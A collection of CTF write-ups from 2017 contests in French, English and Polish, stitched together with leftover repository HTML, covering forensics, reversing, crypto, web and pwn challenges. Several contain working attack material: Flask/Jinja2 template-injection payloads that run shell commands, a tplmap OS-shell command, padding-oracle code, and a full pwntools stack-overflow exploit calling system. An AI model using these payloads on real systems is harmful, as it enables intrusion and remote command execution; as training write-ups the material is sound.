Fichier : « fileA » Taille : 7 Blocs : 8 Blocs d'E/S : 4096 fichierPériphérique : fe01h/65025d Inœud : 8389338 Liens : 1Accès : (0644/-rw-r--r--) UID : ( 1000/ ark1nar) GID : ( 1000/ ark1nar) Accès : 2017-04-09 20:13:10.945251310 +0200Modif. : 2017-04-02 14:44:32.000000000 +0200Changt : 2017-04-07 22:24:01.197520050 +0200 Créé : - Fichier : « fileB » Taille : 17 Blocs : 8 Blocs d'E/S : 4096 fichierPériphérique : fe01h/65025d Inœud : 8389339 Liens : 1Accès : (0644/-rw-r--r--) UID : ( 1000/ ark1nar) GID : ( 1000/ ark1nar) Accès : 2017-04-09 20:13:10.945251310 +0200Modif. : 2017-04-02 14:39:32.000000000 +0200Changt : 2017-04-07 22:24:01.197520050 +0200 Créé : -```
On les stocke dans un fichier en les triant par ordre croissant :
```BASH
cat $(ls file* --sort=time | tac) > solve
```
Dans le fichier solve on met les "obase" à la fin du fichier et on supprime le "quit".
Notre fichier est le suivant :```BASHj=(7^2+4)
x=84
m=(20+32)x=x-4
d=123
p=100
b=100+(4 && 10)
i=95
u=(81+72)-mx=sqrt(x)
l=6*((1+1)*7)
if (u == 101 ) { w = 52 }x=x*2
a=w+m
for(h=0;h<16;h++) {y+=7}
y=y+6
e=95
g=w-1
f=(p-x-1)
o=p+x
r=p+(w/2)-(4 && 10)
obase=x;dobase=x;fobase=x;wobase=x;yobase=x;uobase=x;iobase=x;oobase=x;aobase=x;gobase=x;eobase=x;pobase=x;mobase=x;lobase=x;bobase=x;jobase=x;r
```On affiche le flag :
```BASHcat solve| bc | xxd -r -p{S4ve_th3_d4Te5}```
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
<h2>Challenge</h2>You are surrounded by zombies on all sides. Blood and flesh that drip from their mouths. You run for cover in an abandoned building. As you huddle in terror under a delapitated desk your foot brushes against a small package. What could be inside???
Download file: [Tag.gz](tag.gz)
<h2>Process</h2>
Step 1.Check what type the file actually is.
```bashfile tag.gz tag.gz: pcap-ng capture file - version 1.0```
Gotcha, not a gz, to Wireshark.
Step 2.After quickling scanning through, it's mostly HTTP traffic, I see 2 images files and a flag.7z. Using File > Export Objects > HTTP to extract the files.
Files Extracted:* flag.7z* tag_your_it.jpg* no_scoped.jpg
Step 3.Check each file type using `file` again. Each file is infact its correct file type. Lets try extracting that 7Zip. `7z d flag.gz` and I am met with a password prompt. Tried a few easy guesses like a blank password, password, file name, challenge name. The password must be somewhere since this is forensics. I set up a bruteforcer to run in the background and continued on looking for the next piece of the puzzle.
Step 4.I went on the hunt, opened each of the images looking for clues. One was a image of a astronaut on the moon looking as an object (Asteroid?) went throught the Earth, destroying it. The other, after some Google searching and Google image searching is the Fallout New Vegas Video game. The challenge mentioned a saloon, and in the image is the Prospectors Saloon. I ended up wasting a bit of time searching into this without much luck.
I used `strings` on the flag.7z and the two images. flag.7z contained flag.txt, which was also mentioned when the wrong password was used to attempt to extract it. Nothing of real interest in the images. I checked the exif data anyways, nothing stuck out.
I decided to use `strings` on the tag.gz pcap.
```bashstrings tag.gz
......<removed>......mNDg2NTIwNzc2MTZjNmI2NTY0MjA2Zjc1NzQyMDY5NmUyMDc0Njg2NTIwNjc3MjYxNzkyMDZjNjk2NzY4NzQyMDYxNmU2NDIwNzM3NDZmNmY2NDIwNjE2ZTY0MjA2ODY1MjA3MzYxNzcyMDY2NmY3MjIwNjEyMDYyNzI2OTY1NjYyMDZkNmY2ZDY1NmU3NDIwNzQ2ODY1MjA2MTYyNzM2ZjZjNzU3NDY1MjA3NDcyNzU3NDY4MjA2ZjY2MjA3NDY4NjUyMDc3NmY3MjZjNjQyZTIwNTQ2ODY1MjA2MzZmNmM2NDIwNzI2NTZjNjU2ZTc0NmM2NTczNzMyMDYzNjk3MjYzNmM2OTZlNjcyMDZmNjYyMDc0Njg2NTIwNjk2ZTc0NjU3Mzc0NjE3NDY1MjA2NTYxNzI3NDY4MmUyMDQ0NjE3MjZiNmU2NTczNzMyMDY5NmQ3MDZjNjE2MzYxNjI2YzY1MmUyMDU0Njg2NTIwNjI2YzY5NmU2NDIwNjQ2ZjY3NzMyMDZmNjYyMDc0Njg2NTIwNzM3NTZlMjA2OTZlMjA3NDY4NjU2OTcyMjA3Mjc1NmU2ZTY5NmU2NzJlMjA1NDY4NjUyMDYzNzI3NTczNjg2OTZlNjcyMDYyNmM2MTYzNmIyMDc2NjE2Mzc1NzU2ZDIwNmY2NjIwNzQ2ODY1MjA3NTZlNjk3NjY1NzI3MzY1MmUyMDQxNmU2NDIwNzM2ZjZkNjU3NzY4NjU3MjY1MjA3NDc3NmYyMDY4NzU2ZTc0NjU2NDIwNjE2ZTY5NmQ2MTZjNzMyMDc0NzI2NTZkNjI2YzY5NmU2NzIwNmM2OTZiNjUyMDY3NzI2Zjc1NmU2NDJkNjY2Zjc4NjU3MzIwNjk2ZTIwNzQ2ODY1Njk3MjIwNjM2Zjc2NjU3MjJlMjA0MjZmNzI3MjZmNzc2NTY0MjA3NDY5NmQ2NTIwNjE2ZTY0MjA2MjZmNzI3MjZmNzc2NTY0MjA3NzZmNzI2YzY0MjA2MTZlNjQyMDYyNmY3MjcyNmY3NzY1NjQyMDY1Nzk2NTczMjA3NzY5NzQ2ODIwNzc2ODY5NjM2ODIwNzQ2ZjIwNzM2ZjcyNzI2Zjc3MjA2OTc0MmU=```
The last output of strings was the above block of characters. This looks like base64. I put it into a file and `base64 -d file`, no luck. Didnt work. I decided to find this data in Wireshark. It was in Packet 313, which interestingly was TCP with flags PSH and ACK set. When viewing the data in the packet everything after the starting `m` of my potential base64 string was highlighted. Loooking at the packet at more detail, the `m` was part of the `SEQ/ACK Analysis` and NOT the Data portion of the packet. I remove the `m` it decoded successfully.
Step 5.The decoded base64 was the following:```bash48652077616c6b6564206f757420696e207468652067726179206c6967687420616e642073746f6f6420616e642068652073617720666f722061206272696566206d6f6d656e7420746865206162736f6c757465207472757468206f662074686520776f726c642e2054686520636f6c642072656c656e746c65737320636972636c696e67206f662074686520696e746573746174652065617274682e204461726b6e65737320696d706c616361626c652e2054686520626c696e6420646f6773206f66207468652073756e20696e2074686569722072756e6e696e672e20546865206372757368696e6720626c61636b2076616375756d206f662074686520756e6976657273652e20416e6420736f6d6577686572652074776f2068756e74656420616e696d616c73207472656d626c696e67206c696b652067726f756e642d666f78657320696e20746865697220636f7665722e20426f72726f7765642074696d6520616e6420626f72726f77656420776f726c6420616e6420626f72726f7765642065796573207769746820776869636820746f20736f72726f772069742e```
I quickly noticed the prescene of `20` throughout the file, and that it was all hex valid characters. I decided this could be ASCII and put added in %'s to the start of every 2 characters to decode it.
I came up with the following:
```cat b64_stuff | sed 's/../&%/g;s/+$//' > url_encoded```Then I just had to add a % to the very first 2 characters and remove the trailing %.
```bash%48%65%20%77%61%6c%6b%65%64%20%6f%75%74%20%69%6e%20%74%68%65%20%67%72%61%79%20%6c%69%67%68%74%20%61%6e%64%20%73%74%6f%6f%64%20%61%6e%64%20%68%65%20%73%61%77%20%66%6f%72%20%61%20%62%72%69%65%66%20%6d%6f%6d%65%6e%74%20%74%68%65%20%61%62%73%6f%6c%75%74%65%20%74%72%75%74%68%20%6f%66%20%74%68%65%20%77%6f%72%6c%64%2e%20%54%68%65%20%63%6f%6c%64%20%72%65%6c%65%6e%74%6c%65%73%73%20%63%69%72%63%6c%69%6e%67%20%6f%66%20%74%68%65%20%69%6e%74%65%73%74%61%74%65%20%65%61%72%74%68%2e%20%44%61%72%6b%6e%65%73%73%20%69%6d%70%6c%61%63%61%62%6c%65%2e%20%54%68%65%20%62%6c%69%6e%64%20%64%6f%67%73%20%6f%66%20%74%68%65%20%73%75%6e%20%69%6e%20%74%68%65%69%72%20%72%75%6e%6e%69%6e%67%2e%20%54%68%65%20%63%72%75%73%68%69%6e%67%20%62%6c%61%63%6b%20%76%61%63%75%75%6d%20%6f%66%20%74%68%65%20%75%6e%69%76%65%72%73%65%2e%20%41%6e%64%20%73%6f%6d%65%77%68%65%72%65%20%74%77%6f%20%68%75%6e%74%65%64%20%61%6e%69%6d%61%6c%73%20%74%72%65%6d%62%6c%69%6e%67%20%6c%69%6b%65%20%67%72%6f%75%6e%64%2d%66%6f%78%65%73%20%69%6e%20%74%68%65%69%72%20%63%6f%76%65%72%2e%20%42%6f%72%72%6f%77%65%64%20%74%69%6d%65%20%61%6e%64%20%62%6f%72%72%6f%77%65%64%20%77%6f%72%6c%64%20%61%6e%64%20%62%6f%72%72%6f%77%65%64%20%65%79%65%73%20%77%69%74%68%20%77%68%69%63%68%20%74%6f%20%73%6f%72%72%6f%77%20%69%74%2e```
Step 6.
I then URL Decoded to get:
"*He walked out in the gray light and stood and he saw for a brief moment the absolute truth of the world. The cold relentless circling of the intestate earth. Darkness implacable. The blind dogs of the sun in their running. The crushing black vacuum of the universe. And somewhere two hunted animals trembling like ground-foxes in their cover. Borrowed time and borrowed world and borrowed eyes with which to sorrow it.*"
I pasted this into Google and got some quotes from the book "The Road".
`7z d flag.7z`password:`the road`
Success! `sun{phUn_1n_7h3_c0MPl373_l4ck_0f_5UN}`
|
**WEB - Mr President - 2500**
Le site mis à disposition est un générateur de texte sur une image de Trump.
__Résolution :__
Le mot qui est passé à la variable **name** en GET est affiché en gros sur l'image :
```http://mrpresident.sthack.fr/banish?name=Ryan```
On repère rapidement une XSS :
```javascripthttp://mrpresident.sthack.fr/banish?name=<script>alert(1)</script>```
Aucun formulaire de contact donc nous passons à autre chose.
Si nous appelons une page qui n'existe pas, le site nous retourne comme information qu'il est développé avec flask.
On tente :
```http://mrpresident.sthack.fr/banish?name=Ryan{{7*7}}```
Nous obtenons comme retour : Ryan49
Nous avons donc une template injection.
On récupère un shell avec [TPLMAP](https://github.com/epinna/tplmap) :
```BASH./tplmap.py --os-shell -u 'http://mrpresident.sthack.fr/banish?name=Ryan'```
On cherche le flag :
```BASHposix-linux2 $ ls -lash /flag/is/heretotal 28 4 drwxr-xr-x 1 root root 4.0K Apr 5 12:35 . 4 drwxr-xr-x 1 root root 4.0K Apr 5 12:35 .. 4 -r-------- 1 root root 17 Mar 4 23:09 flag 4 -rw-r--r-- 1 root root 198 Mar 4 23:13 getflag.c 12 -rwsr-xr-x 1 root root 10.5K Apr 5 12:35 runme```
On affiche le flag :
```BASHposix-linux2 $ cd /flag/is/here/;./runmeY0u_G0t_TrUmp3d!```
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
# Asis CTF 2017 Wandere Bits### Category: Reverse, 109 points
> I lost my flag's bit under a cherry tree... Can you find it?
### Write-up
This binary takes an input from arg1, then it will generate a new string from the given argument and compare this to the string "82a386a3b7983198313b363293399232349892369a98323692989a313493913036929a303abf". The same input character will always result in the same output, a is 92, b is 91 etc. The only exception is the last character of the input, which will result in value+1. To get the flag we can simply give all valid characters as a input and break at the string compare.
We run the program with 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!@$1234567890{} ' as a argument, and after hitting the breakpoint we print the value RDI is pointing to:'929193989a999b949695979c9e9d9fb0b2b1b3b8bab9bbb4b6b5828183888a898b848685878c8e8d8fa0a2a1a3a8aaa9aba4a6a5af128018323133383a393b343630b7be11'
We can now create a python script that converts the string to the flag, we also need to remove 1 from the last byte of the string it compares against.
```pythonimport re
instr = re.findall('.', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!@$1234567890{} ')output = re.findall('..', '929193989a999b949695979c9e9d9fb0b2b1b3b8bab9bbb4b6b5828183888a898b848685878c8e8d8fa0a2a1a3a8aaa9aba4a6a5af128018323133383a393b343630b7be10')
alfa = dict(zip(output, instr))
flag = re.findall('..', '82a386a3b7983198313b363293399232349892369a98323692989a313493913036929a303abe')
for f in flag: print(alfa[f], end="")print()```
This gives us the flag
> ASIS{d2d2791c6a18da9ed19ade28cb09ae05} |
# Description:
### Written by dududum561
### I found two files in a secret room. They look like jumbled letters with no patterns. I mean look at it! file1 is identical to file2, right?
### I wrote a small python script to compare the 2 files
```
f1 = open("file1","r").read()f2 = open("file2","r").read()out = ""
x=0for y in f1: if f2[x] != y: out += y x+=1print out```
### output: }4_gn1k00l_3r3w_u0y_3cn3r3ff1d_3ht_3b_y4m_s1ht{ftcysae
### reverse the string
```print out[::-1]easyctf{th1s_m4y_b3_th3_d1ff3r3nc3_y0u_w3r3_l00k1ng_4}``` |
# Mark is falling down drunk (crypto/web)
## ENG[PL](#pl-version)
In the task we get a link for a webpage where someone deployed an application for parsing markdown.There are a couple of example links.We notice that the URL is always the same, but the contains a long hex-string, which probably points to the actual page displayed.If we modify the hex-string the page crashes or gives us `incorrect url` message.
This seems like a standard setup for padding oracle attack.We assume that the hex-string is actually AES CBC encrypted data.The first 16 bytes seems to indicate this even more because they are always `deadbeefcafedeadbeefcafe04030201` which seems like a nice IV.
So we run our padding oracle attack. For more in depth description of the attack refer to our previous writeups on this.In short we exploit the fact that by manipulating value of previous ciphertext block we can influence the plaintext value or corresponding byte in the next block, directly from the CBC definition.And if we accidentally set the last byte to `\01` then the decryption will not fail, since this is a proper padding.We can then recover the real value of this last byte because we know that `ciphertext[k-1][n] xor decrypt(ciphertext[k][n])` is now `\01` and we know the value of `ciphertext[k-1][n]`.We can then proceed to setting last 2 bytes to `\02\02` and so on to recover everything.
Using our code from crypto commons with:
```pythonimport requestsfrom crypto_commons.symmetrical.symmetrical import oracle_padding_recovery
data = 'deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65'
print(oracle_padding_recovery(data, oracle))
# https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md```
And we do the same for all the links.There is a problem there, because for some reason we can't recover the first block.The server was crashing when there was only one plaintext block.But this was not really an issue, since the links were quite obvious and we could just guess the missing bytes.
The most interesting link was the one for their own example, which contained something like
```{{ config['page'] }}```
In the content, but when viewed with their Markdown parser it was presenting an actual link.This meant that we could evaluate templates if we can get a ciphertext for our own webpage.
This was a bit of an issue, since standard approach would be to change the IV so that first block of the plaintext decrypts to `http://our.page\01` and sending just the IV and this one block.
Just as a reminder, we can do this since decryption of 1st block for CBC is `IV xor decrypt(ciphertext[0])`, and since we know the IV and we know the value of `decrypt(ciphertext[0])` we can simply set selected IV byte to: `newIV[k] = IV[k] xor plaintext[k] xor expected_value`
And the decryption will give us `expected_value` at `k-th` position.
In our scenario this would not work, because the single block payloads were failing (maybe admins fixed this later?).Anyway, we figured that we can also instead set the first block to: `http://our.page?` and leave the other blocks, because now the rest of some other URL will be treated as GET parameters and the link will work fine.
This way we got an example payload:
```pythondata = 'deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02'.decode("hex")old_iv = list(data[:16])target_payload = list(pad("https://p4.team?"))pt = "https://raw.githubusercontent.com/dlitz/pycrypto/master/README\02\02"[:16]new_iv = "".join([chr(ord(old_iv[i]) ^ ord(pt[i]) ^ ord(target_payload[i])) for i in range(16)])payload = (new_iv + data[16:]).encode("hex")print(payload)```
And by passing this payload we can now load our markdown code on the server.
Now we move to the template injection exploit.We use a classic approach to do `''.__class__.__mro__[1].__subclasses__()` to get list of all subclasses of `object` loaded in python.There was a small problem, because the `__something__` was actually interpreted as markdown and replaced by `something` so we had to put the payload in backticks to avoid this.
Once we got a list of all classes we found the `catch_warnings` which we could exploit:
```{% set loadedClasses = ''.__class__.__mro__[1].__subclasses__() %} {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == 'catch_warnings' %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference['__import__']('subprocess') %} {{ os.check_output('cat app/flag', shell=True) }} {% endif %} {% endfor %} ```
and get the flag `NDH{edfba7f05f2d0a30f54b0820105cdab21f59b60a7d72f5c7b38c23db840d6cab}`
## PL version
W zadaniu dostajemy link do strony gdzie ktoś udostępnił swoją aplikacje do parsowania markdown.Jest tam kilka przykładowych linków.Zauważamy, że URL jest zawsze taki sam, ale zawiera długi hex-string, który najpewniej opisuje własciwą stronę.Jeśli zmienimy ten hex-string to strona się wysypuje lub dostajemy `incorrect url`.
To wygląda jak standardowy setup dla ataku padding oracle.Zakładamy tu, że hex-string to w rzeczywistości szyfrogram AES CBC.Pierwsze 16 bajtów mocno to sugeruje bo to zawsze `deadbeefcafedeadbeefcafe04030201` co wygląda na jakieś IV.
Uruchamiamy więc nasz padding oracle.Dla bardziej szczegółowego opisu tego ataku odsyłamy do naszych poprzednich writeupów na ten temat.W skrócie wykorzystujemy tu fakt, że manipulując wartością poprzedniego bloku szyfrogramu możemy wpłynąć na deszyfrowanie odpowiedniego bajtu następnego bloku, bezpośrednio z definicji CBC.Jeśli przypadkowo zmienimy ostatni bajt na `\01` to deszyfrowanie nie zgłosi błędu, bo padding będzie poprawny.Możemy wtedy odkryć prawdziwą wartość tego ostatniego bajtu, bo wiemy, że `ciphertext[k-1][n] xor decrypt(ciphertext[k][n])` wynosi teraz `\01` a znamy wartość `ciphertext[k-1][n]`.Następnie możemy powtórzyć to samo, ale tym razem ustawiając dwa ostatnie bloki na `\02\02` itd aż odzyskamy całą odszyfrowaną wiadomość.
Z użyciem naszego kodu z crypto commons:
```pythonimport requestsfrom crypto_commons.symmetrical.symmetrical import oracle_padding_recovery
data = 'deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65'
print(oracle_padding_recovery(data, oracle))
# https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md```
I postępujemy tak samo dla wszystkich linków.Jest tam pewien problem, ponieważ nie możemy odzyskać 1 bloku.Serwer wysypuje się jeśli jest tylko 1 blok szyfrogramu.To na szczęście nie stanowiło wielkiego problemu, bo linki były dość oczywiste i mogliśmy zgadnąć brakujace bajty.
Najbardziej interesujący był link do przykładu od autorów zadania, który zawierał coś w stylu:
```{{ config['page'] }}```
W treści, podczas gdy na stronie po sparsowaniu Markdown widniał faktyczny link.To oznacza że można ewaluować szablony, jeśli tylko możemy przekazać tam własną stronę.
To stanowiło jednak początkowo problem, bo standardowe podejście to ustawić IV tak, zeby pierwszy blok odszyfrowanego tekstu deszyfrował się do `http://our.page\01` i wysłanie tylko nowego IV i tego jednego bloku.
Dla przypomnienia, możemy tak zrobić, bo deszyfrowanie 1 bloku to `IV xor decrypt(ciphertext[0])` a skoro znamy IV i wiemy jaka jest wartość `decrypt(ciphertext[0])` to możemy ustawić wybrany bajt IV do:`newIV[k] = IV[k] xor plaintext[k] xor expected_value`
A deszyfrowanie da nam `expected_value` na `k-tej` pozycji.
W naszym przypadku to nie mogło zadziałać, bo jeden blok szyfrogramu powodował błąd serwera (admini to później poprawili?).Tak czy siak, wymyśliliśmy jak ten problem obejść, przez ustawienie pierwszego bloku na `http://our.page?` i pozostawienie pozostałych bloków, ponieważ teraz ten pozostały fragment starego URLa będzie potraktowany jako parametry GET a nasz link zadziała poprawnie.
W ten sposób dostajemy szyfrogram:
```pythondata = 'deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02'.decode("hex")old_iv = list(data[:16])target_payload = list(pad("https://p4.team?"))pt = "https://raw.githubusercontent.com/dlitz/pycrypto/master/README\02\02"[:16]new_iv = "".join([chr(ord(old_iv[i]) ^ ord(pt[i]) ^ ord(target_payload[i])) for i in range(16)])payload = (new_iv + data[16:]).encode("hex")print(payload)```
I przekazując do go strony możemy teraz ewaluować nasz własny kod mardown na serwerze.
Teraz przechodzimy do template injection.Stosujemy tu dość standardowy zabieg `''.__class__.__mro__[1].__subclasses__()` aby pobrać listę podklas `object` załadowanych w pythonie.
Tutaj mieliśmy przez chwilę problem bo `__cośtam__` było procesowane przez markdown i zamieniane na `cośtam` więc musieliśmy kod objąć w backticki.
Mając listę klas znaleźliśmy `catch_warnings` które można było wykorzystać:
```{% set loadedClasses = ''.__class__.__mro__[1].__subclasses__() %} {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == 'catch_warnings' %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference['__import__']('subprocess') %} {{ os.check_output('cat app/flag', shell=True) }} {% endif %} {% endfor %} ```
aby dostać flagę: `NDH{edfba7f05f2d0a30f54b0820105cdab21f59b60a7d72f5c7b38c23db840d6cab}` |
## INS'HACK - Easy HTML - WEB 25### Problem
You go at your friend house. He shows you what kind of wonderful and beautiful set-up - to control his house - he has. Of course, the control panel is protected. But even if he excited about his project, he never showed any security skill.
Find a way to get an access to the control panel of https://easy-html.insecurity-insa.fr
### Solution
The link contains a simple logon form. Inspecting the html reveals a hidden form with the value:
__value='TODO: change main password of "Admin" from "INSA{ThatWasATrainingOneDontWorry}" to "123456"'__
FLAG: ___INSA{ThatWasATrainingOneDontWorry}___ |
# Fastcalc
## Challenge description```What would a CONFidence CTF be without a Windows-hosted exploitation challenge? :) This time you're facing a fast, greatly optimized calculator capable of concurrently evaluating multiple expressions. In fact it is so technically advanced that it will only run on CPUs supporting the cutting-edge SSE2 extension. Do you think you can hack it?
Don't be scared too easily by the scoring -- it is mostly meant to encourage pwning this exotic "Windows" system. :-)
The service is running at fastcalc.hackable.software:4141. The flag is in the "flag.txt" file.
The platform is Windows Server 2012 R2. You can reproduce the task's environment by running: AppJailLauncher.exe /outbound /port:4141 /timeout:1000000000 /key:flag.txt fastcalc.exe```
## WalkthroughWe reversed fastcalc.exe found that it parses a mathmatical expression, and assigns a fiber with the task of calculating the expression.The parsing included a static array allocated on the stack for values and operations. Looks something like this:```cstruct { int count; struct val { int type; union { char op; double num; } }[LENGTH];};```
Not sure what is the original array length. The size of the val struct is 16 bytes (4 DWORDS), type is at +0, op/num is at +8.Using a large enough expression we can overwrite some of the program stack.
The expression is composed of the following pattern - NUM OP NUM OP NUM OP… NUM
This means that for every 32 bytes we overwrite we control 8 (the number), we write 12 with barely controlled values (the type and op), and 12 bytes that are not overwritten.This gives us 8 bytes of full control for every 32 bytes.Luckly for us, this write pattern allowed us to easily avoid corrupting the stack cookie.
First thing we overwrite is an std::string, we change the length to be bigger than allocated.We also change the capacity to be a small value. (bellow 0x10 bytes)Since the string capacity is small, it uses the stack as the buffer.When the string is read, the stack is leaked. (the string is read using the run operation showing the “expression”)
The stack contained pointers to the stack and to the running module providing enough data to bypass ASLR.
The program contained a function that calls system we use this to read the flag.
Overwrite the return address of main and a single DWORD after that.Point the return address to the opcode “call system”.Write the string “type,*t” using one of the double values and point the next DWORD to that string.
When the main function returns, it jumps to system with the argument “type,*t” which prints all the files whose name ends with “t”, like the file flag.txt.
exploit code:```pythonfrom pwn import *
HOST = '192.168.2.100'PORT = 4141
HOST = 'fastcalc.hackable.software' #:4141
r = remote(HOST, PORT)
SYSTEM_OFFSET = 0xC862SYSTEM_OFFSET = 0x3055MODULE_BASE_OFFSET = 0x13483 def leak_stack(): info('leaking the stack') r.recvuntil('Operation: ') r.send('new\r\n') r.recvuntil('expression:') # the overflow overwrites a expression string (std::string) in the stack. # we change capacity to 0 and size to 0x256 to leak stack addresses. lcmd = '0.1*' * 129 + "1.26895348305e-311" r.send(lcmd + '\n')
r.recvuntil('Operation: ') r.send('run\n')
d = r.recvuntil('Operation:')
# drain the running operations data = d while 'still running' in data: r.send('run\n') data = r.recvuntil('Operation:')
PAT = 'Expression ' idx = d.find(PAT) dd = d[idx+len(PAT):]
# print hexdump(dd) return dd
dd = leak_stack()# 0x30 offset to ptr fastcalc+13483fastcalc_base = u32(dd[0x30:0x34]) - MODULE_BASE_OFFSET
prev_ebp = u32(dd[0x48:0x4c])cur_ebp = prev_ebp + 0x48 stack_ptr = cur_ebp - 0x0000006c
system_addr = p32(fastcalc_base+SYSTEM_OFFSET)stack_addr = p32(stack_ptr)
info("fastcalc_base - {}".format(hex(fastcalc_base)))info("system_addr - {}".format(hex(u32(system_addr))))info("stack_addr - {}".format(hex(u32(stack_addr))))
float_value = struct.unpack('d',system_addr+stack_addr)
# 8 bytes cmd without white spaces.cmd = 'type,*t\x00'cmd_float = struct.unpack('d', cmd)lcmd = '0.1*' * 129 + "1.26895348305e-311*1*" + '{:.17e}*{:.17e}'.format(float_value[0], cmd_float[0])
r.send('new\n')
info('overwriting the stack')r.recvuntil('expression:')r.send(lcmd + '\n')
info('triggering the exploit')r.recvuntil('Operation:')r.send("notoperation\n")
for i in xrange(10): print r.recvuntil('\n', timeout=0.1)
r.close()```
## The Flag```DrgnS{F1b3r5_41m057_l1k3_7hr34d5_bu7_n07_qu1t3_s0}``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>crypto</span></span><span>/</span>headstails-150<span>/</span> </div> </div>
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# Curved - Crypto - 200 points
> This server is willing to perform several commands and cat is among them. However, to execute cat flag we need to provide the signature. We only have signatures for exit and leave commands which is cruelly ironic. Can you help us to get the flag?> curved_server.py> exit.sig> key.public> leave.sig> curved.quals.2017.volgactf.ru:8786
The server script executes shell commands, but only those signed with a proper [ECDSA](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm) signature. We don't have the private key, so we can't sign our own commands.
If we open both .sig files, we quickly notice that the first value is the same in both signatures. This value is the `r` value, which is derived from the private `k` value, which should be an **unique**, cryptographically secure generated random number. Re-using this value is a huge security flaw, which is somewhat famous, because that was the mistake [Sony did with the Playstation 3](https://arstechnica.com/gaming/2010/12/ps3-hacked-through-poor-implementation-of-cryptography/), and it allows the full recovery of the private key.
After some quick googling we found [code examples for recovering the private key](http://bitcoin.stackexchange.com/questions/35848/recovering-private-key-when-someone-uses-the-same-k-twice-in-ecdsa-signatures) on StackExchange. After using this code we can then sign our own shell commands, and using `cat flag` gives us the flag `VolgaCTF{N0nce_1s_me@nt_to_be_used_0n1y_Once}` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>pwn</span></span><span>/</span>lseasy-75<span>/</span> </div> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>reverse</span></span><span>/</span>secure-garden-shed-v1-200<span>/</span> </div> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>pwn</span></span><span>/</span>connected-spoon-150<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>pwn</span></span><span>/</span>connected-spoon-150<span>/</span></div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>forensics</span></span><span>/</span>lost-file-225<span>/</span> </div> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>web</span></span><span>/</span>coffee-100<span>/</span> </div> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>pwn</span></span><span>/</span>ultimateb64-400<span>/</span> </div> </div>
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|
When connecting to the challenge server, it gives us a strange string.
File command says it is zlib compressed string. Well then, just use a script to decompress it everytime (what is send to the server should also be zlib compressed).
We are required to send two different strings with same sha1 value. It is easy to recall the two pdfs with same sha1 that Google release several weeks ago. First 320 byte of the two files are different.
Experiments show that, if we use the different first 320 bytes and a same suffix to construct a string, their sha1 will also be the same. The sha1 should end with certain 5 bytes, but this is easily worked out with brute force. So again write a script (kinda ugly though)
```import zlibimport hashlibfrom pwn import *m=hashlib.sha1()fp1=open('shattered-1.pdf','rb')fp2=open('shattered-2.pdf','rb')bad1=fp1.read(320)bad2=fp2.read(320)p=remote('66.172.27.77',52317)r=p.recv()print zlib.decompress(r)p.send(zlib.compress('Y'))r=p.recv()print zlib.decompress(r)r=p.recv()string=zlib.decompress(r)required=(string.split('\n'))[0][-5:]for i in xrange(10000000):#for i in xrange(100): suffix=str(hex(i))[2:] if len(suffix)%2==1: suffix='0'+suffix m=hashlib.sha1() m.update(bad1+suffix.decode("hex")) if m.hexdigest().startswith(required): breakp.send(zlib.compress(bad1+suffix.decode("hex")))r=p.recv()print zlib.decompress(r)p.send(zlib.compress(bad2+suffix.decode("hex")))r=p.recv()print zlib.decompress(r)```Run it and the server would pop the flag.
 |
From hints of this challenge (Cobra, python) and some strings in the given file ("MEIPASS"), we can easily guess that this file is packed with pyinstaller. There is a file Archive_view.py inside pyinstaller github repo, which can extract pyc bytecode from packed elfs, so just run it.
